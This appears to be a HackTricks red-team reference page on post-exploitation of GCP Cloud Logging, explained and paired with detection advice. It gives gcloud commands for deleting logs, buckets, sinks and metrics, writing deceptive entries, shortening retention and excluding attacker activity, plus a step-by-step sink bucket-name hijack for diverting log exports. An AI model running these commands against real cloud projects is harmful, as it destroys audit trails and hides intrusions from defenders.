Sponsored

GCP - Logging Post Exploitation

Basic Information

For more information check:

GCP - Logging Enum

For other ways to disrupt monitoring check:

GCP - Monitoring Post Exploitation

The IAM permissions named below cover reading and writing log entries and managing Cloud Logging buckets, linked datasets, views, log-based metrics, and sinks.[1]

Default Logging

Many user-data reads are not recorded by default because Data Access audit logs (except BigQuery Data Access logs) are disabled by default; Admin Activity logs remain enabled by default. For more info check the Logging Enum section.[2]

Add Excepted Principal

In https://console.cloud.google.com/iam-admin/audit/allservices and https://console.cloud.google.com/iam-admin/audit, it is possible to add exempted principals that do not generate selected Data Access logs. An attacker could abuse this to prevent being caught.[3]

Read logs - logging.logEntries.list

The gcloud logging read command reads entries matching a filter and supports selecting a log bucket and view.[4]

Read log entries 
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

When using --bucket or --view with gcloud logging read, also provide the log bucket's --location.[4]

logging.logs.delete

The gcloud logging logs delete command deletes all entries from a log in the global _Default bucket.[5]

Delete log entries 
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

Write logs - logging.logEntries.create

The gcloud logging write command writes a log entry and creates the destination log if it does not already exist.[6]

Write log entry 
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

The gcloud logging buckets update command changes bucket properties, including its description and retention period; the system _Required bucket has a fixed 400-day retention period.[7][8]

Update log bucket retention 
# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

The one-day setting applies to a configurable log bucket; the system _Required bucket's 400-day retention cannot be changed.[8]

logging.buckets.delete

The gcloud logging buckets delete command deletes a Cloud Logging bucket and requires its location.[9]

Delete log bucket 
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

The gcloud logging links delete command deletes a linked dataset from a log bucket.[10]

Delete log link 
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

The gcloud logging views delete command deletes a view from a log bucket.[11]

Delete logging view 
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

The gcloud logging views update command changes a view's properties, including its filter and description.[12]

Update logging view to hide data 
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

The gcloud logging metrics update command changes an existing logs-based metric's description or filter expression.[13]

Update log-based metrics 
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

The gcloud logging metrics delete command deletes a logs-based metric.[14]

Delete log-based metrics 
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

The gcloud logging sinks delete command deletes a sink and stops its export of new log entries.[15]

Delete log sink 
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

The gcloud logging sinks update command changes a sink's destination or filter, disables it, and manages exclusions; the destination must already exist and Cloud Logging must be authorized to write to it.[16]

Update/disrupt log sink 
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

The current gcloud logging sinks update reference documents --custom-writer-identity for a log-bucket destination in a different project; verify support before applying that flag to Cloud Storage sinks.[16]

Cloud Logging sink bucket-name hijack - storage.buckets.delete

Cloud Logging sinks can continuously export logs to a Cloud Storage destination such as storage.googleapis.com/<bucket-name> or storage.googleapis.com/<bucket-name>/<prefix>. Cloud Storage bucket names are globally unique and can be reused after deletion, so Unit 42 demonstrated that deleting a destination and recreating the same name in an attacker-controlled project could redirect future exports without logging.sinks.update.[17][18][19][20]

Current behavior: as of June 22, 2026, Google Cloud documents that a sink stops routing when the destination bucket's parent project changes, marking the sink misconfigured with bucket_changed_parent_project. Treat the cross-project hijack flow below as historical or conditional, and verify the target's current behavior before relying on it.[18][21]

Before that mitigation, the technique was useful when the compromised principal had destructive storage permissions such as storage.buckets.delete, storage.objects.delete, and storage.objects.list, but did not have logging.sinks.update.[1][17][18]

The following commands illustrate the historical flow and should only be used in an authorized test. With current Cloud Logging behavior, recreating the bucket in a different project is expected to stop the sink until it is remediated.[18][21]

# Find sinks that export to Cloud Storage
gcloud logging sinks list --project <PROJECT_ID> \
  --format='table(name,destination,disabled,writerIdentity)'

# Empty and delete the destination bucket, if permitted
gcloud storage rm -r gs://<BUCKET_NAME>

# Recreate the same bucket name in the attacker-controlled project
gcloud storage buckets create gs://<BUCKET_NAME> \
  --project <ATTACKER_PROJECT_ID> \
  --location <LOCATION>

# Allow the sink writer identity to write objects into the replacement bucket
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
  --member='serviceAccount:<SINK_WRITER_IDENTITY>' \
  --role='roles/storage.objectCreator' \
  --project <ATTACKER_PROJECT_ID>

Potential Impact (before the parent-project fix): silent long-term exfiltration of future audit logs, application logs, security telemetry, and any other events matched by the sink filter.[17][18]

Detection & Mitigation: alert on deletion of buckets referenced by active sinks, inventory sink destinations for dangling bucket names, check for bucket_changed_parent_project sink errors, restrict storage.buckets.delete on logging destinations, and protect export buckets with retention/hold controls where possible.[21][22]

The listing, deletion, recreation, and IAM-binding commands above correspond to the documented gcloud logging and gcloud storage operations.[24][25][26][27]

For Cloud Storage destinations, grant the sink's writer identity roles/storage.objectCreator on the destination bucket; this role permits object creation but not object listing or deletion.[19][23]

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks
Sponsored